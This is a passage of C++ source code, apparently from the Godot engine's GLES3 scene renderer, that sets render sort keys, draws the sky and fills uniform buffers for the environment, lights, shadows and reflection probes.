RenderList::SORT_KEY_GEOMETRY_INDEX_SHIFT; e->sort_key |= uint64_t(e->instance->base_type) << RenderList::SORT_KEY_GEOMETRY_TYPE_SHIFT; if (e->material->last_pass != render_pass) { e->material->last_pass = render_pass; e->material->index = current_material_index++; } e->sort_key |= uint64_t(e->material->index) << RenderList::SORT_KEY_MATERIAL_INDEX_SHIFT; e->sort_key |= uint64_t(e->instance->depth_layer) << RenderList::SORT_KEY_OPAQUE_DEPTH_LAYER_SHIFT; if (!p_depth_pass) { if (e->instance->gi_probe_instances.size()) { e->sort_key |= SORT_KEY_GI_PROBES_FLAG; } if (e->instance->lightmap.is_valid()) { e->sort_key |= SORT_KEY_LIGHTMAP_FLAG; } if (!e->instance->lightmap_capture_data.empty()) { e->sort_key |= SORT_KEY_LIGHTMAP_CAPTURE_FLAG; } e->sort_key |= (uint64_t(p_material->render_priority) + 128) << RenderList::SORT_KEY_PRIORITY_SHIFT; } /* if (e->geometry->type==RasterizerStorageGLES3::Geometry::GEOMETRY_MULTISURFACE) e->sort_flags|=RenderList::SORT_FLAG_INSTANCING; */ if (mirror) { e->sort_key |= RenderList::SORT_KEY_MIRROR_FLAG; } if (no_cull) { e->sort_key |= RenderList::SORT_KEY_CULL_DISABLED_FLAG; } //e->light_type=0xFF; // no lights! if (p_depth_pass || p_material->shader->spatial.unshaded || state.debug_draw == VS::VIEWPORT_DEBUG_DRAW_UNSHADED) { e->sort_key |= SORT_KEY_UNSHADED_FLAG; } if (p_depth_pass && p_material->shader->spatial.depth_draw_mode == RasterizerStorageGLES3::Shader::Spatial::DEPTH_DRAW_ALPHA_PREPASS) { e->sort_key |= RenderList::SORT_KEY_OPAQUE_PRE_PASS; } if (!p_depth_pass && (p_material->shader->spatial.uses_vertex_lighting || storage->config.force_vertex_shading)) { e->sort_key |= SORT_KEY_VERTEX_LIT_FLAG; } if (p_material->shader->spatial.uses_time) { VisualServerRaster::redraw_request(); } } void RasterizerSceneGLES3::_draw_sky(RasterizerStorageGLES3::Sky *p_sky, const CameraMatrix &p_projection, const Transform &p_transform, bool p_vflip, float p_custom_fov, float p_energy, const Basis &p_sky_orientation) { ERR_FAIL_COND(!p_sky); RasterizerStorageGLES3::Texture *tex = storage->texture_owner.getornull(p_sky->panorama); ERR_FAIL_COND(!tex); glActiveTexture(GL_TEXTURE0); tex = tex->get_ptr(); //resolve for proxies glBindTexture(tex->target, tex->tex_id); if (storage->config.srgb_decode_supported && tex->srgb && !tex->using_srgb) { glTexParameteri(tex->target, _TEXTURE_SRGB_DECODE_EXT, _DECODE_EXT); tex->using_srgb = true; #ifdef TOOLS_ENABLED if (!(tex->flags & VS::TEXTURE_FLAG_CONVERT_TO_LINEAR)) { tex->flags |= VS::TEXTURE_FLAG_CONVERT_TO_LINEAR; //notify that texture must be set to linear beforehand, so it works in other platforms when exported } #endif } glDepthMask(GL_TRUE); glEnable(GL_DEPTH_TEST); glDisable(GL_CULL_FACE); glDisable(GL_BLEND); glDepthFunc(GL_LEQUAL); glColorMask(1, 1, 1, 1); // Camera CameraMatrix camera; if (p_custom_fov) { float near_plane = p_projection.get_z_near(); float far_plane = p_projection.get_z_far(); float aspect = p_projection.get_aspect(); camera.set_perspective(p_custom_fov, aspect, near_plane, far_plane); } else { camera = p_projection; } float flip_sign = p_vflip ? -1 : 1; /* If matrix[2][0] or matrix[2][1] we're dealing with an asymmetrical projection matrix. This is the case for stereoscopic rendering (i.e. VR). To ensure the image rendered is perspective correct we need to move some logic into the shader. For this the USE_ASYM_PANO option is introduced. It also means the uv coordinates are ignored in this mode and we don't need our loop. */ bool asymmetrical = ((camera.matrix[2][0] != 0.0) || (camera.matrix[2][1] != 0.0)); Vector3 vertices[8] = { Vector3(-1, -1 * flip_sign, 1), Vector3(0, 1, 0), Vector3(1, -1 * flip_sign, 1), Vector3(1, 1, 0), Vector3(1, 1 * flip_sign, 1), Vector3(1, 0, 0), Vector3(-1, 1 * flip_sign, 1), Vector3(0, 0, 0) }; if (!asymmetrical) { float vw, vh, zn; camera.get_viewport_size(vw, vh); zn = p_projection.get_z_near(); for (int i = 0; i < 4; i++) { Vector3 uv = vertices[i * 2 + 1]; uv.x = (uv.x * 2.0 - 1.0) * vw; uv.y = -(uv.y * 2.0 - 1.0) * vh; uv.z = -zn; vertices[i * 2 + 1] = p_transform.basis.xform(uv).normalized(); vertices[i * 2 + 1].z = -vertices[i * 2 + 1].z; } } glBindBuffer(GL_ARRAY_BUFFER, state.sky_verts); glBufferData(GL_ARRAY_BUFFER, sizeof(Vector3) * 8, vertices, GL_DYNAMIC_DRAW); glBindBuffer(GL_ARRAY_BUFFER, 0); //unbind glBindVertexArray(state.sky_array); storage->shaders.copy.set_conditional(CopyShaderGLES3::USE_ASYM_PANO, asymmetrical); storage->shaders.copy.set_conditional(CopyShaderGLES3::USE_PANORAMA, !asymmetrical); storage->shaders.copy.set_conditional(CopyShaderGLES3::USE_MULTIPLIER, true); storage->shaders.copy.bind(); storage->shaders.copy.set_uniform(CopyShaderGLES3::MULTIPLIER, p_energy); // don't know why but I always have problems setting a uniform mat3, so we're using a transform storage->shaders.copy.set_uniform(CopyShaderGLES3::SKY_TRANSFORM, Transform(p_sky_orientation, Vector3(0.0, 0.0, 0.0)).affine_inverse()); if (asymmetrical) { // pack the bits we need from our projection matrix storage->shaders.copy.set_uniform(CopyShaderGLES3::ASYM_PROJ, camera.matrix[2][0], camera.matrix[0][0], camera.matrix[2][1], camera.matrix[1][1]); ///@TODO I couldn't get mat3 + p_transform.basis to work, that would be better here. storage->shaders.copy.set_uniform(CopyShaderGLES3::PANO_TRANSFORM, p_transform); } glDrawArrays(GL_TRIANGLE_FAN, 0, 4); glBindVertexArray(0); glColorMask(1, 1, 1, 1); storage->shaders.copy.set_conditional(CopyShaderGLES3::USE_ASYM_PANO, false); storage->shaders.copy.set_conditional(CopyShaderGLES3::USE_MULTIPLIER, false); storage->shaders.copy.set_conditional(CopyShaderGLES3::USE_PANORAMA, false); } void RasterizerSceneGLES3::_setup_environment(Environment *env, const CameraMatrix &p_cam_projection, const Transform &p_cam_transform, bool p_no_fog) { Transform sky_orientation; //store camera into ubo store_camera(p_cam_projection, state.ubo_data.projection_matrix); store_camera(p_cam_projection.inverse(), state.ubo_data.inv_projection_matrix); store_transform(p_cam_transform, state.ubo_data.camera_matrix); store_transform(p_cam_transform.affine_inverse(), state.ubo_data.camera_inverse_matrix); //time global variables state.ubo_data.time = storage->frame.time[0]; state.ubo_data.z_far = p_cam_projection.get_z_far(); //bg and ambient if (env) { state.ubo_data.bg_energy = env->bg_energy; state.ubo_data.ambient_energy = env->ambient_energy; Color linear_ambient_color = env->ambient_color.to_linear(); state.ubo_data.ambient_light_color[0] = linear_ambient_color.r; state.ubo_data.ambient_light_color[1] = linear_ambient_color.g; state.ubo_data.ambient_light_color[2] = linear_ambient_color.b; state.ubo_data.ambient_light_color[3] = linear_ambient_color.a; Color bg_color; switch (env->bg_mode) { case VS::ENV_BG_CLEAR_COLOR: { bg_color = storage->frame.clear_request_color.to_linear(); } break; case VS::ENV_BG_COLOR: { bg_color = env->bg_color.to_linear(); } break; default: { bg_color = Color(0, 0, 0, 1); } break; } state.ubo_data.bg_color[0] = bg_color.r; state.ubo_data.bg_color[1] = bg_color.g; state.ubo_data.bg_color[2] = bg_color.b; state.ubo_data.bg_color[3] = bg_color.a; //use the inverse of our sky_orientation, we may need to skip this if we're using a reflection probe? sky_orientation = Transform(env->sky_orientation, Vector3(0.0, 0.0, 0.0)).affine_inverse(); state.env_radiance_data.ambient_contribution = env->ambient_sky_contribution; state.ubo_data.ambient_occlusion_affect_light = env->ssao_light_affect; state.ubo_data.ambient_occlusion_affect_ssao = env->ssao_ao_channel_affect; //fog Color linear_fog = env->fog_color.to_linear(); state.ubo_data.fog_color_enabled[0] = linear_fog.r; state.ubo_data.fog_color_enabled[1] = linear_fog.g; state.ubo_data.fog_color_enabled[2] = linear_fog.b; state.ubo_data.fog_color_enabled[3] = (!p_no_fog && env->fog_enabled) ? 1.0 : 0.0; state.ubo_data.fog_density = linear_fog.a; Color linear_sun = env->fog_sun_color.to_linear(); state.ubo_data.fog_sun_color_amount[0] = linear_sun.r; state.ubo_data.fog_sun_color_amount[1] = linear_sun.g; state.ubo_data.fog_sun_color_amount[2] = linear_sun.b; state.ubo_data.fog_sun_color_amount[3] = env->fog_sun_amount; state.ubo_data.fog_depth_enabled = env->fog_depth_enabled; state.ubo_data.fog_depth_begin = env->fog_depth_begin; state.ubo_data.fog_depth_end = env->fog_depth_end; state.ubo_data.fog_depth_curve = env->fog_depth_curve; state.ubo_data.fog_transmit_enabled = env->fog_transmit_enabled; state.ubo_data.fog_transmit_curve = env->fog_transmit_curve; state.ubo_data.fog_height_enabled = env->fog_height_enabled; state.ubo_data.fog_height_min = env->fog_height_min; state.ubo_data.fog_height_max = env->fog_height_max; state.ubo_data.fog_height_curve = env->fog_height_curve; } else { state.ubo_data.bg_energy = 1.0; state.ubo_data.ambient_energy = 1.0; //use from clear color instead, since there is no ambient Color linear_ambient_color = storage->frame.clear_request_color.to_linear(); state.ubo_data.ambient_light_color[0] = linear_ambient_color.r; state.ubo_data.ambient_light_color[1] = linear_ambient_color.g; state.ubo_data.ambient_light_color[2] = linear_ambient_color.b; state.ubo_data.ambient_light_color[3] = linear_ambient_color.a; state.ubo_data.bg_color[0] = linear_ambient_color.r; state.ubo_data.bg_color[1] = linear_ambient_color.g; state.ubo_data.bg_color[2] = linear_ambient_color.b; state.ubo_data.bg_color[3] = linear_ambient_color.a; state.env_radiance_data.ambient_contribution = 0; state.ubo_data.ambient_occlusion_affect_light = 0; state.ubo_data.fog_color_enabled[3] = 0.0; } { //directional shadow state.ubo_data.shadow_directional_pixel_size[0] = 1.0 / directional_shadow.size; state.ubo_data.shadow_directional_pixel_size[1] = 1.0 / directional_shadow.size; glActiveTexture(GL_TEXTURE0 + storage->config.max_texture_image_units - 4); glBindTexture(GL_TEXTURE_2D, directional_shadow.depth); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_COMPARE_MODE, GL_COMPARE_REF_TO_TEXTURE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_COMPARE_FUNC, GL_LESS); } glBindBuffer(GL_UNIFORM_BUFFER, state.scene_ubo); glBufferData(GL_UNIFORM_BUFFER, sizeof(State::SceneDataUBO), &state.ubo_data, GL_DYNAMIC_DRAW); glBindBuffer(GL_UNIFORM_BUFFER, 0); //fill up environment store_transform(sky_orientation * p_cam_transform, state.env_radiance_data.transform); glBindBuffer(GL_UNIFORM_BUFFER, state.env_radiance_ubo); glBufferData(GL_UNIFORM_BUFFER, sizeof(State::EnvironmentRadianceUBO), &state.env_radiance_data, GL_DYNAMIC_DRAW); glBindBuffer(GL_UNIFORM_BUFFER, 0); } void RasterizerSceneGLES3::_setup_directional_light(int p_index, const Transform &p_camera_inverse_transform, bool p_use_shadows) { LightInstance *li = directional_lights[p_index]; LightDataUBO ubo_data; //used for filling float sign = li->light_ptr->negative ? -1 : 1; Color linear_col = li->light_ptr->color.to_linear(); //compensate normalized diffuse range by multiplying by PI ubo_data.light_color_energy[0] = linear_col.r * sign * li->light_ptr->param[VS::LIGHT_PARAM_ENERGY] * Math_PI; ubo_data.light_color_energy[1] = linear_col.g * sign * li->light_ptr->param[VS::LIGHT_PARAM_ENERGY] * Math_PI; ubo_data.light_color_energy[2] = linear_col.b * sign * li->light_ptr->param[VS::LIGHT_PARAM_ENERGY] * Math_PI; ubo_data.light_color_energy[3] = 0; //omni, keep at 0 ubo_data.light_pos_inv_radius[0] = 0.0; ubo_data.light_pos_inv_radius[1] = 0.0; ubo_data.light_pos_inv_radius[2] = 0.0; ubo_data.light_pos_inv_radius[3] = 0.0; Vector3 direction = p_camera_inverse_transform.basis.xform(li->transform.basis.xform(Vector3(0, 0, -1))).normalized(); ubo_data.light_direction_attenuation[0] = direction.x; ubo_data.light_direction_attenuation[1] = direction.y; ubo_data.light_direction_attenuation[2] = direction.z; ubo_data.light_direction_attenuation[3] = 1.0; ubo_data.light_params[0] = 0; ubo_data.light_params[1] = 0; ubo_data.light_params[2] = li->light_ptr->param[VS::LIGHT_PARAM_SPECULAR]; ubo_data.light_params[3] = 0; Color shadow_color = li->light_ptr->shadow_color.to_linear(); ubo_data.light_shadow_color_contact[0] = shadow_color.r; ubo_data.light_shadow_color_contact[1] = shadow_color.g; ubo_data.light_shadow_color_contact[2] = shadow_color.b; ubo_data.light_shadow_color_contact[3] = li->light_ptr->param[VS::LIGHT_PARAM_CONTACT_SHADOW_SIZE]; if (p_use_shadows && li->light_ptr->shadow) { int shadow_count = 0; switch (li->light_ptr->directional_shadow_mode) { case VS::LIGHT_DIRECTIONAL_SHADOW_ORTHOGONAL: { shadow_count = 1; } break; case VS::LIGHT_DIRECTIONAL_SHADOW_PARALLEL_2_SPLITS: { shadow_count = 2; } break; case VS::LIGHT_DIRECTIONAL_SHADOW_PARALLEL_4_SPLITS: { shadow_count = 4; } break; } for (int j = 0; j < shadow_count; j++) { uint32_t x = li->directional_rect.position.x; uint32_t y = li->directional_rect.position.y; uint32_t width = li->directional_rect.size.x; uint32_t height = li->directional_rect.size.y; if (li->light_ptr->directional_shadow_mode == VS::LIGHT_DIRECTIONAL_SHADOW_PARALLEL_4_SPLITS) { width /= 2; height /= 2; if (j == 1) { x += width; } else if (j == 2) { y += height; } else if (j == 3) { x += width; y += height; } } else if (li->light_ptr->directional_shadow_mode == VS::LIGHT_DIRECTIONAL_SHADOW_PARALLEL_2_SPLITS) { height /= 2; if (j != 0) { y += height; } } ubo_data.shadow_split_offsets[j] = li->shadow_transform[j].split; Transform modelview = (p_camera_inverse_transform * li->shadow_transform[j].transform).affine_inverse(); CameraMatrix bias; bias.set_light_bias(); CameraMatrix rectm; Rect2 atlas_rect = Rect2(float(x) / directional_shadow.size, float(y) / directional_shadow.size, float(width) / directional_shadow.size, float(height) / directional_shadow.size); rectm.set_light_atlas_rect(atlas_rect); CameraMatrix shadow_mtx = rectm * bias * li->shadow_transform[j].camera * modelview; store_camera(shadow_mtx, &ubo_data.shadow.matrix[16 * j]); ubo_data.light_clamp[0] = atlas_rect.position.x; ubo_data.light_clamp[1] = atlas_rect.position.y; ubo_data.light_clamp[2] = atlas_rect.size.x; ubo_data.light_clamp[3] = atlas_rect.size.y; } } glBindBuffer(GL_UNIFORM_BUFFER, state.directional_ubo); glBufferData(GL_UNIFORM_BUFFER, sizeof(LightDataUBO), &ubo_data, GL_DYNAMIC_DRAW); glBindBuffer(GL_UNIFORM_BUFFER, 0); directional_light = li; glBindBufferBase(GL_UNIFORM_BUFFER, 3, state.directional_ubo); } void RasterizerSceneGLES3::_setup_lights(RID *p_light_cull_result, int p_light_cull_count, const Transform &p_camera_inverse_transform, const CameraMatrix &p_camera_projection, RID p_shadow_atlas) { state.omni_light_count = 0; state.spot_light_count = 0; state.directional_light_count = 0; directional_light = NULL; ShadowAtlas *shadow_atlas = shadow_atlas_owner.getornull(p_shadow_atlas); for (int i = 0; i < p_light_cull_count; i++) { ERR_BREAK(i >= render_list.max_lights); LightInstance *li = light_instance_owner.getptr(p_light_cull_result[i]); LightDataUBO ubo_data; //used for filling switch (li->light_ptr->type) { case VS::LIGHT_DIRECTIONAL: { if (state.directional_light_count < RenderList::MAX_DIRECTIONAL_LIGHTS) { directional_lights[state.directional_light_count++] = li; } } break; case VS::LIGHT_OMNI: { float sign = li->light_ptr->negative ? -1 : 1; Color linear_col = li->light_ptr->color.to_linear(); ubo_data.light_color_energy[0] = linear_col.r * sign * li->light_ptr->param[VS::LIGHT_PARAM_ENERGY] * Math_PI; ubo_data.light_color_energy[1] = linear_col.g * sign * li->light_ptr->param[VS::LIGHT_PARAM_ENERGY] * Math_PI; ubo_data.light_color_energy[2] = linear_col.b * sign * li->light_ptr->param[VS::LIGHT_PARAM_ENERGY] * Math_PI; ubo_data.light_color_energy[3] = 0; Vector3 pos = p_camera_inverse_transform.xform(li->transform.origin); //directional, keep at 0 ubo_data.light_pos_inv_radius[0] = pos.x; ubo_data.light_pos_inv_radius[1] = pos.y; ubo_data.light_pos_inv_radius[2] = pos.z; ubo_data.light_pos_inv_radius[3] = 1.0 / MAX(0.001, li->light_ptr->param[VS::LIGHT_PARAM_RANGE]); ubo_data.light_direction_attenuation[0] = 0; ubo_data.light_direction_attenuation[1] = 0; ubo_data.light_direction_attenuation[2] = 0; ubo_data.light_direction_attenuation[3] = li->light_ptr->param[VS::LIGHT_PARAM_ATTENUATION]; ubo_data.light_params[0] = 0; ubo_data.light_params[1] = 0; ubo_data.light_params[2] = li->light_ptr->param[VS::LIGHT_PARAM_SPECULAR]; ubo_data.light_params[3] = 0; Color shadow_color = li->light_ptr->shadow_color.to_linear(); ubo_data.light_shadow_color_contact[0] = shadow_color.r; ubo_data.light_shadow_color_contact[1] = shadow_color.g; ubo_data.light_shadow_color_contact[2] = shadow_color.b; ubo_data.light_shadow_color_contact[3] = li->light_ptr->param[VS::LIGHT_PARAM_CONTACT_SHADOW_SIZE]; if (li->light_ptr->shadow && shadow_atlas && shadow_atlas->shadow_owners.has(li->self)) { // fill in the shadow information uint32_t key = shadow_atlas->shadow_owners[li->self]; uint32_t quadrant = (key >> ShadowAtlas::QUADRANT_SHIFT) & 0x3; uint32_t shadow = key & ShadowAtlas::SHADOW_INDEX_MASK; ERR_CONTINUE(shadow >= (uint32_t)shadow_atlas->quadrants[quadrant].shadows.size()); uint32_t atlas_size = shadow_atlas->size; uint32_t quadrant_size = atlas_size >> 1; uint32_t x = (quadrant & 1) * quadrant_size; uint32_t y = (quadrant >> 1) * quadrant_size; uint32_t shadow_size = (quadrant_size / shadow_atlas->quadrants[quadrant].subdivision); x += (shadow % shadow_atlas->quadrants[quadrant].subdivision) * shadow_size; y += (shadow / shadow_atlas->quadrants[quadrant].subdivision) * shadow_size; uint32_t width = shadow_size; uint32_t height = shadow_size; if (li->light_ptr->omni_shadow_detail == VS::LIGHT_OMNI_SHADOW_DETAIL_HORIZONTAL) { height /= 2; } else { width /= 2; } Transform proj = (p_camera_inverse_transform * li->transform).inverse(); store_transform(proj, ubo_data.shadow.matrix1); ubo_data.light_params[3] = 1.0; //means it has shadow ubo_data.light_clamp[0] = float(x) / atlas_size; ubo_data.light_clamp[1] = float(y) / atlas_size; ubo_data.light_clamp[2] = float(width) / atlas_size; ubo_data.light_clamp[3] = float(height) / atlas_size; } li->light_index = state.omni_light_count; copymem(&state.omni_array_tmp[li->light_index * state.ubo_light_size], &ubo_data, state.ubo_light_size); state.omni_light_count++; } break; case VS::LIGHT_SPOT: { float sign = li->light_ptr->negative ? -1 : 1; Color linear_col = li->light_ptr->color.to_linear(); ubo_data.light_color_energy[0] = linear_col.r * sign * li->light_ptr->param[VS::LIGHT_PARAM_ENERGY] * Math_PI; ubo_data.light_color_energy[1] = linear_col.g * sign * li->light_ptr->param[VS::LIGHT_PARAM_ENERGY] * Math_PI; ubo_data.light_color_energy[2] = linear_col.b * sign * li->light_ptr->param[VS::LIGHT_PARAM_ENERGY] * Math_PI; ubo_data.light_color_energy[3] = 0; Vector3 pos = p_camera_inverse_transform.xform(li->transform.origin); //directional, keep at 0 ubo_data.light_pos_inv_radius[0] = pos.x; ubo_data.light_pos_inv_radius[1] = pos.y; ubo_data.light_pos_inv_radius[2] = pos.z; ubo_data.light_pos_inv_radius[3] = 1.0 / MAX(0.001, li->light_ptr->param[VS::LIGHT_PARAM_RANGE]); Vector3 direction = p_camera_inverse_transform.basis.xform(li->transform.basis.xform(Vector3(0, 0, -1))).normalized(); ubo_data.light_direction_attenuation[0] = direction.x; ubo_data.light_direction_attenuation[1] = direction.y; ubo_data.light_direction_attenuation[2] = direction.z; ubo_data.light_direction_attenuation[3] = li->light_ptr->param[VS::LIGHT_PARAM_ATTENUATION]; ubo_data.light_params[0] = li->light_ptr->param[VS::LIGHT_PARAM_SPOT_ATTENUATION]; ubo_data.light_params[1] = Math::cos(Math::deg2rad(li->light_ptr->param[VS::LIGHT_PARAM_SPOT_ANGLE])); ubo_data.light_params[2] = li->light_ptr->param[VS::LIGHT_PARAM_SPECULAR]; ubo_data.light_params[3] = 0; Color shadow_color = li->light_ptr->shadow_color.to_linear(); ubo_data.light_shadow_color_contact[0] = shadow_color.r; ubo_data.light_shadow_color_contact[1] = shadow_color.g; ubo_data.light_shadow_color_contact[2] = shadow_color.b; ubo_data.light_shadow_color_contact[3] = li->light_ptr->param[VS::LIGHT_PARAM_CONTACT_SHADOW_SIZE]; if (li->light_ptr->shadow && shadow_atlas && shadow_atlas->shadow_owners.has(li->self)) { // fill in the shadow information uint32_t key = shadow_atlas->shadow_owners[li->self]; uint32_t quadrant = (key >> ShadowAtlas::QUADRANT_SHIFT) & 0x3; uint32_t shadow = key & ShadowAtlas::SHADOW_INDEX_MASK; ERR_CONTINUE(shadow >= (uint32_t)shadow_atlas->quadrants[quadrant].shadows.size()); uint32_t atlas_size = shadow_atlas->size; uint32_t quadrant_size = atlas_size >> 1; uint32_t x = (quadrant & 1) * quadrant_size; uint32_t y = (quadrant >> 1) * quadrant_size; uint32_t shadow_size = (quadrant_size / shadow_atlas->quadrants[quadrant].subdivision); x += (shadow % shadow_atlas->quadrants[quadrant].subdivision) * shadow_size; y += (shadow / shadow_atlas->quadrants[quadrant].subdivision) * shadow_size; uint32_t width = shadow_size; uint32_t height = shadow_size; Rect2 rect(float(x) / atlas_size, float(y) / atlas_size, float(width) / atlas_size, float(height) / atlas_size); ubo_data.light_params[3] = 1.0; //means it has shadow ubo_data.light_clamp[0] = rect.position.x; ubo_data.light_clamp[1] = rect.position.y; ubo_data.light_clamp[2] = rect.size.x; ubo_data.light_clamp[3] = rect.size.y; Transform modelview = (p_camera_inverse_transform * li->transform).inverse(); CameraMatrix bias; bias.set_light_bias(); CameraMatrix rectm; rectm.set_light_atlas_rect(rect); CameraMatrix shadow_mtx = rectm * bias * li->shadow_transform[0].camera * modelview; store_camera(shadow_mtx, ubo_data.shadow.matrix1); } li->light_index = state.spot_light_count; copymem(&state.spot_array_tmp[li->light_index * state.ubo_light_size], &ubo_data, state.ubo_light_size); state.spot_light_count++; #if 0 if (li->light_ptr->shadow_enabled) { CameraMatrix bias; bias.set_light_bias(); Transform modelview=Transform(camera_transform_inverse * li->transform).inverse(); li->shadow_projection[0] = bias * li->projection * modelview; lights_use_shadow=true; } #endif } break; } li->last_pass = render_pass; //update UBO for forward rendering, blit to texture for clustered } if (state.omni_light_count) { glBindBuffer(GL_UNIFORM_BUFFER, state.omni_array_ubo); glBufferSubData(GL_UNIFORM_BUFFER, 0, state.omni_light_count * state.ubo_light_size, state.omni_array_tmp); glBindBuffer(GL_UNIFORM_BUFFER, 0); } glBindBufferBase(GL_UNIFORM_BUFFER, 4, state.omni_array_ubo); if (state.spot_light_count) { glBindBuffer(GL_UNIFORM_BUFFER, state.spot_array_ubo); glBufferSubData(GL_UNIFORM_BUFFER, 0, state.spot_light_count * state.ubo_light_size, state.spot_array_tmp); glBindBuffer(GL_UNIFORM_BUFFER, 0); } glBindBufferBase(GL_UNIFORM_BUFFER, 5, state.spot_array_ubo); } void RasterizerSceneGLES3::_setup_reflections(RID *p_reflection_probe_cull_result, int p_reflection_probe_cull_count, const Transform &p_camera_inverse_transform, const CameraMatrix &p_camera_projection, RID p_reflection_atlas, Environment *p_env) { state.reflection_probe_count = 0; for (int i = 0; i < p_reflection_probe_cull_count; i++) { ReflectionProbeInstance *rpi = reflection_probe_instance_owner.getornull(p_reflection_probe_cull_result[i]); ERR_CONTINUE(!rpi); ReflectionAtlas *reflection_atlas = reflection_atlas_owner.getornull(p_reflection_atlas); ERR_CONTINUE(!reflection_atlas); ERR_CONTINUE(rpi->reflection_atlas_index < 0); if (state.reflection_probe_count >= state.max_ubo_reflections) break; rpi->last_pass = render_pass; ReflectionProbeDataUBO reflection_ubo; reflection_ubo.box_extents[0] = rpi->probe_ptr->extents.x; reflection_ubo.box_extents[1] = rpi->probe_ptr->extents.y; reflection_ubo.box_extents[2] = rpi->probe_ptr->extents.z; reflection_ubo.box_extents[3] = 0; reflection_ubo.box_ofs[0] = rpi->probe_ptr->origin_offset.x; reflection_ubo.box_ofs[1] = rpi->probe_ptr->origin_offset.y; reflection_ubo.box_ofs[2] = rpi->probe_ptr->origin_offset.z; reflection_ubo.box_ofs[3] = 0; reflection_ubo.params[0] = rpi->probe_ptr->intensity; reflection_ubo.params[1] = 0; reflection_ubo.params[2] = rpi->probe_ptr->interior ? 1.0 : 0.0; reflection_ubo.params[3] = rpi->probe_ptr->box_projection ? 1.0 : 0.0; if (rpi->probe_ptr->interior) { Color ambient_linear = rpi->probe_ptr->interior_ambient.to_linear(); reflection_ubo.ambient[0] = ambient_linear.r * rpi->probe_ptr->interior_ambient_energy; reflection_ubo.ambient[1] = ambient_linear.g * rpi->probe_ptr->interior_ambient_energy; reflection_ubo.ambient[2] = ambient_linear.b * rpi->probe_ptr->interior_ambient_energy; reflection_ubo.ambient[3] = rpi->probe_ptr->interior_ambient_probe_contrib; } else { Color ambient_linear; if (p_env) { ambient_linear = p_env->ambient_color.to_linear(); ambient_linear.r *= p_env->ambient_energy; ambient_linear.g *= p_env->ambient_energy; ambient_linear.b *= p_env->ambient_energy; } reflection_ubo.ambient[0] = ambient_linear.r; reflection_ubo.ambient[1] = ambient_linear.g; reflection_ubo.ambient[2] = ambient_linear.b; reflection_ubo.ambient[3] = 0; //not used in exterior mode, since it just blends with regular ambient light } int cell_size = reflection_atlas->size / reflection_atlas->subdiv; int x = (rpi->reflection_atlas_index % reflection_atlas->subdiv) * cell_size; int y = (rpi->reflection_atlas_index / reflection_atlas->subdiv) * cell_size; int width = cell_size; int height = cell_size; reflection_ubo.atlas_clamp[0] = float(x) / reflection_atlas->size; reflection_ubo.atlas_clamp[1] = float(y) / reflection_atlas->size; reflection_ubo.atlas_clamp[2] = float(width) / reflection_atlas->size; reflection_ubo.atlas_clamp[3] = float(height) / reflection_atlas->size; Transform proj = (p_camera_inverse_transform * rpi->transform).inverse(); store_transform(proj, reflection_ubo.local_matrix); rpi->reflection_index = state.reflection_probe_count; copymem(&state.reflection_array_tmp[rpi->reflection_index * sizeof(ReflectionProbeDataUBO)], &reflection_ubo, sizeof(ReflectionProbeDataUBO)); state.reflection_probe_count++; } if (state.reflection_probe_count) { glBindBuffer(GL_UNIFORM_BUFFER, state.reflection_array_ubo); glBufferSubData(GL_UNIFORM_BUFFER, 0, state.reflection_probe_count * sizeof(ReflectionProbeDataUBO), state.reflection_array_tmp); glBindBuffer(GL_UNIFORM_BUFFER, 0); } glBindBufferBase(GL_UNIFORM_BUFFER, 6, state.reflection_array_ubo); } void RasterizerSceneGLES3::_copy_screen(bool p_invalidate_color, bool p_invalidate_depth) { #ifndef GLES_OVER_GL if (p_invalidate_color) { GLenum attachments[2] = { GL_COLOR_ATTACHMENT0, GL_DEPTH_ATTACHMENT }; glInvalidateFramebuffer(GL_FRAMEBUFFER, p_invalidate_depth ? 2 : 1, attachments); } #endif glBindVertexArray(storage->resources.quadie_array); glDrawArrays(GL_TRIANGLE_FAN, 0, 4); glBindVertexArray(0); } void RasterizerSceneGLES3::_copy_texture_to_front_buffer(GLuint p_texture) { //copy to front buffer glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->fbo); glDepthMask(GL_FALSE); glDisable(GL_DEPTH_TEST); glDisable(GL_CULL_FACE); glDisable(GL_BLEND); glDepthFunc(GL_LEQUAL); glColorMask(1, 1, 1, 1); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, p_texture); glViewport(0, 0, storage->frame.current_rt->width * 0.5, storage->frame.current_rt->height * 0.5); storage->shaders.copy.set_conditional(CopyShaderGLES3::DISABLE_ALPHA, true); storage->shaders.copy.bind(); _copy_screen(); //turn off everything used storage->shaders.copy.set_conditional(CopyShaderGLES3::LINEAR_TO_SRGB, false); storage->shaders.copy.set_conditional(CopyShaderGLES3::DISABLE_ALPHA, false); } void RasterizerSceneGLES3::_fill_render_list(InstanceBase **p_cull_result, int p_cull_count, bool p_depth_pass, bool p_shadow_pass) { current_geometry_index = 0; current_material_index = 0; state.used_sss = false; state.used_screen_texture = false; state.used_depth_texture = false; //fill list for (int i = 0; i < p_cull_count; i++) { InstanceBase *inst = p_cull_result[i]; switch (inst->base_type) { case VS::INSTANCE_MESH: { RasterizerStorageGLES3::Mesh *mesh = storage->mesh_owner.getptr(inst->base); ERR_CONTINUE(!mesh); int ssize = mesh->surfaces.size(); for (int j = 0; j < ssize; j++) { int mat_idx = inst->materials[j].is_valid() ? j : -1; RasterizerStorageGLES3::Surface *s = mesh->surfaces[j]; _add_geometry(s, inst, NULL, mat_idx, p_depth_pass, p_shadow_pass); } //mesh->last_pass=frame; } break; case VS::INSTANCE_MULTIMESH: { RasterizerStorageGLES3::MultiMesh *multi_mesh = storage->multimesh_owner.getptr(inst->base); ERR_CONTINUE(!multi_mesh); if (multi_mesh->size == 0 || multi_mesh->visible_instances == 0) continue; RasterizerStorageGLES3::Mesh *mesh = storage->mesh_owner.getptr(multi_mesh->mesh); if (!mesh) continue; //mesh not assigned int ssize = mesh->surfaces.size(); for (int j = 0; j < ssize; j++) { RasterizerStorageGLES3::Surface *s = mesh->surfaces[j]; _add_geometry(s, inst, multi_mesh, -1, p_depth_pass, p_shadow_pass); } } break; case VS::INSTANCE_IMMEDIATE: { RasterizerStorageGLES3::Immediate *immediate = storage->immediate_owner.getptr(inst->base); ERR_CONTINUE(!immediate); _add_geometry(immediate, inst, NULL, -1, p_depth_pass, p_shadow_pass); } break; case VS::INSTANCE_PARTICLES: { RasterizerStorageGLES3::Particles *particles = 